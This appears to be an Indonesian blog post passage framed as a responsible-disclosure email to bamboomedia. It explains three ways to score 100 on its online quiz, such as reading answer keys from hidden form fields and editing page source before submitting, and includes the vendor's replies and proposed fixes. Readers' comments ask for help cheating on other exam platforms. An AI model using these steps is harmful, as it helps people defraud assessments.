memerlukan kemanan lebih terhadap database yang ada agar tidak ada
celah SQLi ato pun yang lain. Sehingga mungkin pihak bamboomedia bisa
mengacuhkan saran saya yang satu ini.

4. Script yang dapat di analisa dengan mudah

Sebelumnya saya sangat terkeut dengan hal ini. Singkat saja.
====alur soal================
Ujikeahlian >> isi info >> ujikeahlian2.php >> isi jawaban >>
ujikeahlian3.php >> ujikeahlian4.php >> result nilai
==========================

Pada ujikeahlian2.php ternyata menyimpan sebuah hidden form yang berisi:

A. info2 yang dimasukkan pada ujikeahlian.php
B. jam dan tanggal soal dijawab
C. jawaban beserta kunci jawabannya

CARA 1:

dengan ada nya hal ini saya pun dengan mudah menjawab semua soal-soalnya. yaitu:
1. Mengisi form ujikeahlian.php
2. klik "ikuti ujian"
3. ctrl+u untuk melihat source code, lalu
4. ctrl+f untuk menemukan value "kunci"

dan cuma butuh waktu 2 menit. maka peserta dapat menjawab dengan nilai 100


saya explorasi lagi dan hasilnya adalah CARA 2:

mencopy source page dan mengedit:
1. merubah input hidden yang berisi input dari ujikeahlian.php dan
tanggal mengikuti ujian
2. Menambahkan checked="checked" pada setiap jawaban yang benar
3. lalu merubah link nya menjadi absolute "bamboomedia.net/ujikeahlian3.php
4 Submit

lalu nilai pun 100


lalu saya explorasi lagi dan hasilnya CARA 3:

Bamboo: www.google.com adalah nama dari sebuah?
peserta: Matahari lbih besar daripada bulan
Result: Benar

Bamboo: berapakah nilai 1x3?

peserta: 2+2=4
Result: Benar

dan singkatnya dapat anda lihat di
holestreet.0fees.net/bamboo.php

Solusi:

solusi ini tidak akan mencegah 100%,krn tidak ada system yg secure di
dunia ini, Tapi paling tidak kita bisa mengurangi beberapa peluang
terjadi nya tindak kecurangan lagi.

1. Mnggunkan chaptca seperti pada quiz microsoft

2. Menggunakan asp agar script nya tidak terbaca oleh client
3. Disable klik kanan
4. Soal di buat dengan metode seperti pop-up,yaitu agar peserta tidak
dapat menggunakan taskbar pada browser (sama seperti quiz windows
server 2003 di indonesia)


Akhir kata, saya tidak mempunyai maksud apa-apa dari isi email ini

selain sebagai pembelajaran bagi saya pribadi, dan pihak bamboomedia
juga. Karena cepat atau lambat hal ini pasti akan diketahui oleh orang
lain juga. Kalau untuk test gratis aja sih nggak terlalu masalah, tapi
takutnya jika pada suatu saat nanti ketika pihak bamboomedia di
percaya untuk mengadakan suatu quiz online dan pihak bamboomedia tetap
menggunakan system seperti ini, saya sangat takut jika ada seseorang
yang melakukan hal yang sama terhadap system penilaian ini.

terima kasih

regard
by plonk5638

maaf mas kelupaan :D untuk script acak2an yg ada di holestreet.0fees.net/bamboo.php .saya siap menghapusnya jika pihak bamboomedia menginginkannya. Itung-itung balas jasa terhadap sertifikat gratis "dasar internet" saya. tentang sertifikat yang lain tidak akan saya gunakan karena itu merupakan hasil curang saya. Saya cuma akan menyimpannya saja sebagai kenang2an saja. ini baru saya posting 2 hari yang lalu, itung2 buat pembelajaran bagi para rekan2 yang lain juga. Saya juga siap menghapus nya jika di minta. http://nimbuzzing.org/forum/webmaster/hacking-soal-soal-online/ Thanx mas ^_^/

10. Tidak di sangka ternyata pihak bamboomedia sangat kooperatif dengan hal ini.

isi email balasan dari bamboomedia
Yth Terima kaasih atas kepercayaan anda kepada kami 1. Kami sangat senang dengan adanya masukan serta saran yang diberikan 2. Secara tehnis brainometer ini baru akan dievaluasi awal bulan pada tahun ini, karena memang merupakan sampling awal dari modul web kami yang baru dalam kategori soal-soal online 3. Kami akan segera mengadakan evaluasi, dan kami masih mengharapakan masukan-masukan dan kritik lain yang pastinya sangat berguna untuk kami. 4. Jangan bosan untuk memberikan masukan kepada kami. Terima kasih dengan atensinya dan kerjasamanya Regard Charis

isi email balasan kedua
Yth Bapak Echo
Terima kasih atas kepercayaan anda kepada kami
1. Evaluasi brainometer telah kami lakukan hari ini
2. Mohon bantuannya untuk menghapus holestreet.0fees.net/bamboo.php
3. Kami ucapkan terima kasih atas bantuannya dan mohon apabila ada masukan lain jangan segan untuk disampaikan
Terima kasih
Regard
Charis

11. saya pun menawarkan diri untuk menghapus url tersebut di karenakan bisa merusak jerih payah pihak bamboomedia dalam mengurangi 'gaptek' di negeri ini.

Yth. Bapak Charis Alamat tersebut telah saya hapus. Terima kasih atas tanggapan yang begitu melegakan dari pihak bamboomdia.net Regard plonk
NB: this article just 4 educational only, use at ur own risk.
referensi: Buku Seni Internet Hacking by S'to

Thanx: orcha, meonkzt, rexgant, eliash, p4njul, adwisatya, weinkhairu dan dopunk
Terima kasih yang sangat saya ucapkan kepada Bapak charis atas perhatian dan tindakan cooperatifnya.

salam,

24 komentar:

  1. Om, mau tanya, cara replace source nya itu bagaimana ya ?

    BalasHapus
    Balasan
    1. min klo cara hack jawaban di bimasoft simulasi mandiri gimana min, masih pake google nya?

      Hapus
  2. meskipun soal online acak valuenya tetap itu?

    BalasHapus
    Balasan
    1. min klo cara hack jawaban di bimasoft simulasi mandiri gimana min, masih pake google nya?

      Hapus
  3. Bos .. Klau ujian kita Value nya dari 1 sampai dengan 5 .. Menentukan jawaban ny dimna ya ..

    BalasHapus
  4. Plis pencerahan nya bos. . Ini no saya 081347645021

    BalasHapus
  5. om tanya cara hack edmodo gmna yaa?

    BalasHapus
  6. mas, cara nentuin jawaban yang benar kalo valuenya 1 sampek 5 gimana nih? tolong bales donk mas'
    ini pin saya 570B6E80
    ini w.a saya 085784898955

    BalasHapus
  7. Gan.. Caranya mengetahui kunci jawaban di soal randome online gimana ya?
    Tolong pencerahannya. Trimakasih
    Wa: 083845897748

    BalasHapus
  8. Misi Min mau nanya... Caranya Mengetahui yang bener sama yang salah itu gimana min..? saya masih newbie min
    Tolong min dibantu please...
    Sebelumnya Terimah kasih...

    Wa : 081927625425
    bbm : d6e4ca92

    Tolong di Respond Min...

    BalasHapus
  9. min mau nanya, cara hack edmodo gimana ya?
    wa: 089610749125

    BalasHapus
  10. Bang saya mau nanya kalau hack pakai element cuma valuenya ada banyaj contohnya value 0 - 4 tuh gimana

    BalasHapus
  11. bang, kalau jawabannya valuenya 0 - 9 gmna?? misalnya value=0812831. dan yg lainnya sama 0 - 9, gmna nentuin jawabanya??

    BalasHapus
  12. minta nomor wa dong, nnti gue bayar

    BalasHapus
  13. mnta emai aja deh kalogak tu, gue pnya kendala jawab ujian onlen, nntii gue bayar

    BalasHapus
  14. Kalo di forms office gimana cara tahu jawabannya bang??

    BalasHapus
  15. Kalo google classroom gimana min

    BalasHapus
  16. min tolong dibuat dong google form paling banyak dipake sama google classroom

    BalasHapus
  17. Kalau fresto gmn ya suhu tolong pencerahanannya

    BalasHapus
  18. Kalau fresto gmn ya suhu tolong pencerahanannya

    BalasHapus
  19. Mantap banget bang gila gak sanggup baca keburu sakit mata gw

    BalasHapus